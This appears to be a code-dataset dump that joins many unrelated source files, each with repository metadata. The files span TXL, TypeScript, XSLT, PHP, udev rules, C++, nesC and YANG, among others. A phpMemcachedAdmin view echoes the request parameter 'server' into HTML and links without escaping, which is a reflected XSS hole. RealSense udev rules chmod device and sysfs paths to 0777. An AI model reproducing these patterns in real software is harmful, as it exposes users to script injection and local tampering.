ID [id] OP [dotID]
deconstruct OP
'. TR [id]
construct IMPORTID [id]
TR [+ "_"] [+ ID]
by
ID '. IMPORTID
end function
function recurseRenConstImports
replace [repeat alternative_decision]
'| ID [id] OP [dotID] REST [repeat alternative_decision]
deconstruct OP
'. TR [id]
construct IMPORTID [id]
TR [+ "_"] [+ ID]
by
'| ID '. IMPORTID REST [recurseRenConstImports]
end function
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% Creating table of exports to check against imports in other modules.
rule createExportTable
skipping [module_definition]
replace $ [module_definition]
ID [id] 'DEFINITIONS OP [opt tag_default] '::= 'BEGIN
Exports [opt export_block]
Imports [opt import_block]
Body [repeat rule_definition]
'END
%construct Table [program]
% P1 [checkExports ID]
by
ID 'DEFINITIONS OP '::= 'BEGIN
Exports [checkExports ID]
Imports
Body
'END
end rule
rule checkExports ModuleName [id]
skipping [export_block]
replace $ [export_block]
'EXPORTS DECL [list decl] ';
by
'EXPORTS DECL [checkExport ModuleName] ';
end rule
function checkExport ModuleName [id]
replace [list decl]
LIST [list decl]
construct ExportTable [import_list]
LIST 'FROM ModuleName
construct outputFile [stringlit]
_[+ ModuleName] [+ ".exports"]
construct output [import_list]
ExportTable [write outputFile]
by
LIST
end function
| TXL | 5 | alishak/TAG | TXL/UID_references.txl | [
"BSD-3-Clause"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { ExtHostTestItemEvent, InvalidTestItemError } from 'vs/workbench/contrib/testing/common/testItemCollection';
import * as vscode from 'vscode';
export interface IExtHostTestItemApi {
controllerId: string;
parent?: vscode.TestItem;
listener?: (evt: ExtHostTestItemEvent) => void;
}
const eventPrivateApis = new WeakMap<vscode.TestItem, IExtHostTestItemApi>();
export const createPrivateApiFor = (impl: vscode.TestItem, controllerId: string) => {
const api: IExtHostTestItemApi = { controllerId };
eventPrivateApis.set(impl, api);
return api;
};
/**
* Gets the private API for a test item implementation. This implementation
* is a managed object, but we keep a weakmap to avoid exposing any of the
* internals to extensions.
*/
export const getPrivateApiFor = (impl: vscode.TestItem) => {
const api = eventPrivateApis.get(impl);
if (!api) {
throw new InvalidTestItemError(impl?.id || '<unknown>');
}
return api;
};
| TypeScript | 4 | KevinAo22/vscode | src/vs/workbench/api/common/extHostTestingPrivateApi.ts | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="html" encoding="UTF-8"/>
<xsl:template match="TEST">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
CHARACTERS IN XSLT: ééééééééééé <br/> <xsl:apply-templates/>
</body>
</html>
</xsl:template>
</xsl:stylesheet> | XSLT | 3 | zealoussnow/chromium | third_party/blink/web_tests/fast/xsl/resources/xslt-enc.xsl | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
"""
before block
Disposable.constructor
inside block
Disposable.Dispose
after block
"""
import BooCompiler.Tests.SupportingClasses from BooCompiler.Tests
print("before block")
using Disposable():
print("inside block")
print("after block")
| Boo | 3 | popcatalin81/boo | tests/testcases/macros/using-2.boo | [
"BSD-3-Clause"
] |
Module ScanCell {
Attribute lic = 'h 619af116;
ScanInPort SI;
ShiftEnPort SE;
CaptureEnPort CE;
UpdateEnPort UE;
SelectPort SEL;
ResetPort RST;
TCKPort TCK;
ScanOutPort SO {
Source SMux;
}
ScanInterface flex_Scan {
Port SI;
Port SO;
Port SEL;
}
ScanInPort maskSI;
SelectPort maskSEL;
ScanOutPort maskSO {
Source scbMask.SO;
}
ScanInterface mask_Scan {
Port maskSI;
Port maskSO;
Port maskSEL;
}
LogicSignal ls_maskSEL {
SEL & maskSEL;
}
LogicSignal ls_sRegSEL {
SEL & scbMask.toSEL;
}
Instance scbMask Of SCB {
InputPort SI = maskSI;
InputPort SEL = ls_maskSEL;
}
Instance sBit Of SBit {
InputPort SI = SI;
InputPort SEL = ls_sRegSEL;
Parameter Size = 1;
}
ScanMux SMux SelectedBy scbMask.DO[0] {
0: SI;
1: sBit.SO;
}
}
| Clean | 4 | ajnavarro/language-dataset | data/github.com/IJTAG-Ecosystem/Public/c09f43976b4941104e35f7ca227931afc6406037/ScanCell.icl | [
"MIT"
] |
<?php
# Server seems down
if((isset($stats)) && (($stats === false) || ($stats == array())))
{ ?>
<div class="header corner full-size padding" style="margin-top:10px;text-align:center;">
<?php
# Asking server of cluster stats
if(isset($_REQUEST['server']))
{
echo ($_ini->cluster($_REQUEST['server'])) ? 'All servers from Cluster ' . $_REQUEST['server'] : 'Server ' . $_REQUEST['server'], ' did not respond !';
}
# All servers stats
else
{
echo 'Servers did not respond !';
} ?>
</div>
<div class="container corner full-size padding">
<span class="left">Error message</span>
<br/>
<?php echo Library_Data_Error::last(); ?>
<br/>
<br/>
Please check above error message, your <a href="configure.php" class="green">configuration</a> or your server status and retry
</div>
<?php
}
# No slabs used
elseif((isset($slabs)) && ($slabs === false))
{
?>
<div class="header corner full-size padding" style="margin-top:10px;text-align:center;">
No slabs used in this server !
</div>
<div class="container corner full-size padding">
<span class="left">Error message</span>
<br/>
Maybe this server is not used, check your <a href="configure.php" class="green">configuration</a> or your server status and retry
</div>
<?php
}
# No Items in slab
elseif((isset($items)) && ($items === false))
{
?>
<div class="header corner full-size padding" style="margin-top:10px;text-align:center;">
No item in this slab !
</div>
<div class="container corner full-size padding">
<span class="left">Error message</span>
<br/>
This slab is allocated, but is empty
<br/>
<br/>
Go back to <a href="?server=<?php echo $_REQUEST['server']; ?>&show=slabs" class="green">Server Slabs</a>
</div>
<?php
} | HTML+PHP | 4 | axelVO/tourComperator | .devilbox/www/htdocs/vendor/phpmemcachedadmin-1.3.0/View/Stats/Error.phtml | [
"MIT"
] |
function ssd_uniform;
load ../solvers/ssdsolver/ssd.dll;
var x >= 42;
minimize o: x;
subject to ssd: ssd_uniform(x, 0);
| AMPL | 2 | ampl/plugins | test/data/ssd.ampl | [
"BSD-3-Clause"
] |
module audiostreamerscrobbler.maintypes.ScrobbleType
struct Scrobble = {
utcTimestamp,
song
} | Golo | 3 | vvdleun/audiostreamerscrobbler | src/main/golo/include/maintypes/Scrobble.golo | [
"MIT"
] |
FROM busybox
EXPOSE 80/tcp
COPY httpserver .
CMD ["./httpserver"]
| Dockerfile | 3 | mi2016/docker | contrib/httpserver/Dockerfile | [
"Apache-2.0"
] |
##Version=1.1##
# Device rules for Intel RealSense devices (R200, F200, SR300 LR200, ZR300, D400, L500, T200)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0a80", MODE:="0666", GROUP:="plugdev", RUN+="/usr/local/bin/usb-R200-in_udev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0a66", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0aa3", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0aa2", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0aa5", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0abf", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0acb", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad0", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="04b4", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad1", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad2", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad3", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad4", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad5", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad6", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0af2", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0af6", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0afe", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0aff", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b00", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b01", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b03", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b07", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b0c", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b0d", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b3a", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b3d", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b48", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b49", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b4b", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b4d", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b52", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b5b", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b5c", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b64", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b68", MODE:="0666", GROUP:="plugdev"
# Intel RealSense recovery devices (DFU)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ab3", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0adb", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0adc", MODE:="0666", GROUP:="plugdev"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b55", MODE:="0666", GROUP:="plugdev"
# Intel RealSense devices (Movidius, T265)
SUBSYSTEMS=="usb", ENV{DEVTYPE}=="usb_device", ATTRS{idVendor}=="8087", ATTRS{idProduct}=="0af3", MODE="0666", GROUP="plugdev"
SUBSYSTEMS=="usb", ENV{DEVTYPE}=="usb_device", ATTRS{idVendor}=="8087", ATTRS{idProduct}=="0b37", MODE="0666", GROUP="plugdev"
SUBSYSTEMS=="usb", ENV{DEVTYPE}=="usb_device", ATTRS{idVendor}=="03e7", ATTRS{idProduct}=="2150", MODE="0666", GROUP="plugdev"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad5", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor_custom", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad5", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0af2", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0af2", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0afe", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor_custom", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0afe", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0aff", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor_custom", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0aff", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b00", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor_custom", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b00", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b01", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor_custom", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b01", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b3a", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b3a", RUN+="/bin/sh -c ' chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b3d", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b3d", RUN+="/bin/sh -c ' chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b4b", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b4b", RUN+="/bin/sh -c ' chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b4d", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b4d", RUN+="/bin/sh -c ' chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b5b", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b5b", RUN+="/bin/sh -c ' chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b5c", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b5c", RUN+="/bin/sh -c ' chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b64", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b64", RUN+="/bin/sh -c ' chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b68", MODE:="0777", GROUP:="plugdev", RUN+="/bin/sh -c 'chmod -R 0777 /sys/%p'"
DRIVER=="hid_sensor*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0b68", RUN+="/bin/sh -c ' chmod -R 0777 /sys/%p && chmod 0777 /dev/%k'"
# For products with motion_module, if (kernels is 4.15 and up) and (device name is "accel_3d") wait, in another process, until (enable flag is set to 1 or 200 mSec passed) and then set it to 0.
KERNEL=="iio*", ATTRS{idVendor}=="8086", ATTRS{idProduct}=="0ad5|0afe|0aff|0b00|0b01|0b3a|0b3d|0b64|0b68", RUN+="/bin/sh -c '(major=`uname -r | cut -d \".\" -f1` && minor=`uname -r | cut -d \".\" -f2` && (([ $major -eq 4 ] && [ $minor -ge 15 ]) || [ $major -ge 5 ])) && (enamefile=/sys/%p/name && [ `cat $enamefile` = \"accel_3d\" ]) && enfile=/sys/%p/buffer/enable && echo \"COUNTER=0; while [ \$COUNTER -lt 20 ] && grep -q 0 $enfile; do sleep 0.01; COUNTER=\$((COUNTER+1)); done && echo 0 > $enfile\" | at now'"
| EmberScript | 3 | NoppanutPat/realsense-ros | realsense2_camera/debian/udev.em | [
"Apache-2.0"
] |
find_package(MKL QUIET)
if(NOT TARGET caffe2::mkl)
add_library(caffe2::mkl INTERFACE IMPORTED)
endif()
set_property(
TARGET caffe2::mkl PROPERTY INTERFACE_INCLUDE_DIRECTORIES
${MKL_INCLUDE_DIR})
set_property(
TARGET caffe2::mkl PROPERTY INTERFACE_LINK_LIBRARIES
${MKL_LIBRARIES})
| CMake | 4 | Hacky-DH/pytorch | cmake/public/mkl.cmake | [
"Intel"
] |
/******************************************************************************
* Copyright 2019 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "cyber/transport/common/identity.h"
#include "gtest/gtest.h"
namespace apollo {
namespace cyber {
namespace transport {
TEST(IdentityTest, testConstructFalse) {
Identity it(false);
EXPECT_EQ(it.HashValue(), static_cast<uint64_t>(0));
EXPECT_EQ(it.ToString(), "0");
}
TEST(IdentityTest, testConstructTrue) {
Identity it(true);
EXPECT_NE(it.HashValue(), static_cast<uint64_t>(0));
EXPECT_NE(it.ToString(), "0");
}
TEST(IdentityTest, testIdentityEqual) {
Identity id1;
Identity id2;
Identity id3;
EXPECT_NE(id1, id2);
EXPECT_NE(id2, id3);
EXPECT_NE(id1, id3);
EXPECT_NE(id1.HashValue(), id3.HashValue());
id2 = id2;
EXPECT_NE(id2, id3);
id2 = id3;
EXPECT_EQ(id2, id3);
Identity id4(id1);
EXPECT_EQ(id1, id4);
EXPECT_EQ(id1.ToString(), id4.ToString());
EXPECT_EQ(id1.HashValue(), id4.HashValue());
}
TEST(IdentityTest, testOperatorEqual) {
Identity it(true);
Identity it1(false);
it1 = it;
EXPECT_EQ(it.HashValue(), it1.HashValue());
EXPECT_EQ(it.ToString(), it1.ToString());
EXPECT_EQ(it1.Length(), it.Length());
it.set_data(nullptr);
Identity it2;
it2.set_data(it.data());
EXPECT_EQ(it2.HashValue(), it1.HashValue());
EXPECT_EQ(it2.ToString(), it1.ToString());
EXPECT_EQ(it1.Length(), it2.Length());
}
} // namespace transport
} // namespace cyber
} // namespace apollo
| C++ | 4 | jzjonah/apollo | cyber/transport/common/identity_test.cc | [
"Apache-2.0"
] |
/*
* Copyright (c) 2000-2005 The Regents of the University of California.
* Copyright (c) 2012, Eric B. Decker
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the
* distribution.
* - Neither the name of the copyright holders nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
* THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* I2C Packet/buffer interface for sending data over the I2C bus.
* The address, length, and buffer must be specified. The I2C bus then
* has control of that buffer and returns it when the operation has
* completed. The I2CPacket interface supports master-mode communication
* and provides for multiple repeated STARTs and multiple reads/writes
* within the same START transaction.
*
* The interface is typed according to the address size supported by
* the master hardware. Masters capable of supporting extended (10-bit)
* I2C addressing MUST export both types (although there is no particular
* reason why). Applications should use the smallest address size to
* ensure best portability. Typical I2C chips only support 7 bit addresses.
*
* @param addr_size A type indicating the slave address size. Supported
* values are TI2C10Bit (aka TI2CExtdAddr) and TI2C7Bit (aka TI2CBasicAddr).
*
* There is a significant amount of code that uses TI2CBasicAddr so
* transitioning to TI2C7Bit is problematic. At some point if we want
* to spend the effort moving to TI2C7Bit would be reasonable. In the
* meantime just use TI2CBasicAddr keeping in mind that it really means
* TI2C7Bit which hopefully you'll agree is a better more understandable
* name.
*
* flags control how the driver handles the bus.
*
* A single transaction is specified with I2C_START and I2C_STOP.
*
* A repeated transaction is started with I2C_START. Repeated calls
* to I2CPacket can be made, with the last call specifing I2C_STOP.
* For correct operation, one must understand exactly how the h/w
* behaves across these calls. Double buffered h/w greatly impacts
* how these multiple transactions function.
*
* The bus can be turned around by specifing another I2C_START in the
* call without an intervening I2C_STOP. I2C_STOP can be specified
* on the same transaction of the final transaction.
*
* for example: reading a register.
*
* Note: I2CPacket is split phase so has significant overhead and
* the following code needs to be implemented using split phase
* techniques. I2CReg is a single phase, busy wait implementation.
*
* uint8_t reg_buf[1] = <register>;
* uint8_t reg_data[2];
* call I2CPacket.write(I2C_START, DEV_ADDR, 1, reg_buf);
* <-- I2CPacket.writeDone(...);
* call I2CPacket.read(I2C_RESTART | I2C_STOP, DEV_ADDR, 2, reg_data);
* <-- I2CPacket.readDone(...);
*
* because there is no intervening I2C_STOP between the two calls, the
* second call (read) will turn the bus around without releasing
* arbitration.
*
* Normally, the bus is checked for busy prior to starting a transaction.
* RESTART is needed to abort this check because the bus can very easily
* be in a busy state left over from the previous transaction.
*
* @author Joe Polastre
* @author Phil Buonadonna <pbuonadonna@archrock.com>
* @author Jonathan Hui <jhui@archrock.com>
* @author Phil Levis <pal@cs.stanford.edu>
* @author Eric B. Decker <cire831@gmail.com>
*/
#include <I2C.h>
interface I2CPacket<addr_size> {
/**
* Perform an I2C read operation
*
* @param flags Flags that may be logical ORed and defined by:
* I2C_START - The START condition is transmitted at the beginning
* of the packet if set.
* I2C_STOP - The STOP condition is transmitted at the end of the
* packet if set.
* I2C_ACK_END - ACK the last byte if set. Otherwise NACK last byte. This
* flag cannot be used with the I2C_STOP flag.
* I2C_RESTART - restarting an I2C transaction (turn bus around).
* @param addr The slave device address. Only used if I2C_START is set.
* @param length Length, in bytes, to be read
* @param 'uint8_t* COUNT(length) data' A point to a data buffer to read into
*
* @return SUCCESS if bus available and request accepted.
*/
async command error_t read(i2c_flags_t flags, uint16_t addr, uint8_t length, uint8_t* data);
/**
* Perform an I2C write operation
*
* @param flags Flags that may be logical ORed and defined by:
* I2C_START - The START condition is transmitted at the beginning
* of the packet if set.
* I2C_STOP - The STOP condition is transmitted at the end of the
* packet if set.
* I2C_RESTART - restarting an I2C transaction (turn bus around).
* @param addr The slave device address. Only used if I2C_START is set.
* @param length Length, in bytes, to be read
* @param 'uint8_t* COUNT(length) data' A point to a data buffer to read into
*
* @return SUCCESS if bus available and request accepted.
*/
async command error_t write(i2c_flags_t flags, uint16_t addr, uint8_t length, uint8_t* data);
/**
* Notification that the read operation has completed
*
* @param addr The slave device address
* @param length Length, in bytes, read
* @param 'uint8_t* COUNT(length) data' Pointer to the received data buffer
* @param success SUCCESS if transfer completed without error.
*/
async event void readDone(error_t error, uint16_t addr, uint8_t length, uint8_t* data);
/**
* Notification that the write operation has completed
*
* @param addr The slave device address
* @param length Length, in bytes, written
* @param 'uint8_t* COUNT(length) data' Pointer to the data buffer written
* @param success SUCCESS if transfer completed without error.
*/
async event void writeDone(error_t error, uint16_t addr, uint8_t length, uint8_t* data);
}
| nesC | 5 | tgtakaoka/tinyos-prod | tos/interfaces/I2CPacket.nc | [
"BSD-3-Clause"
] |
'reach 0.1';
const [ ...x, y ] = [ 1, 2 ];
| RenderScript | 2 | chikeabuah/reach-lang | hs/t/n/Err_Decl_ArraySpreadNotLast.rsh | [
"Apache-2.0"
] |
module org-openroadm-swdl {
namespace "http://org/openroadm/de/swdl";
prefix org-openroadm-swdl;
import ietf-yang-types {
prefix yang;
}
import org-openroadm-common-types {
prefix org-openroadm-common-types;
}
organization "Open ROADM MSA";
contact
"OpenROADM.org";
description
"Yang definitions for System Management.
Copyright of the Members of the Open ROADM MSA Agreement dated (c) 2016,
AT&T Intellectual Property. All other rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
* Neither the Members of the Open ROADM MSA Agreement nor the names of its
contributors may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT ''AS IS''
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.";
revision 2016-10-14 {
description
"Version 1.2";
}
grouping sw-bank {
leaf sw-version {
type string;
description
"Gissue of the SW in this bank";
}
leaf sw-validation-timer {
type string {
pattern "(([0-1][0-9]|2[0-3])-([0-5][0-9])-([0-5][0-9]))";
}
description
"value of validation timer in hh-mm-ss";
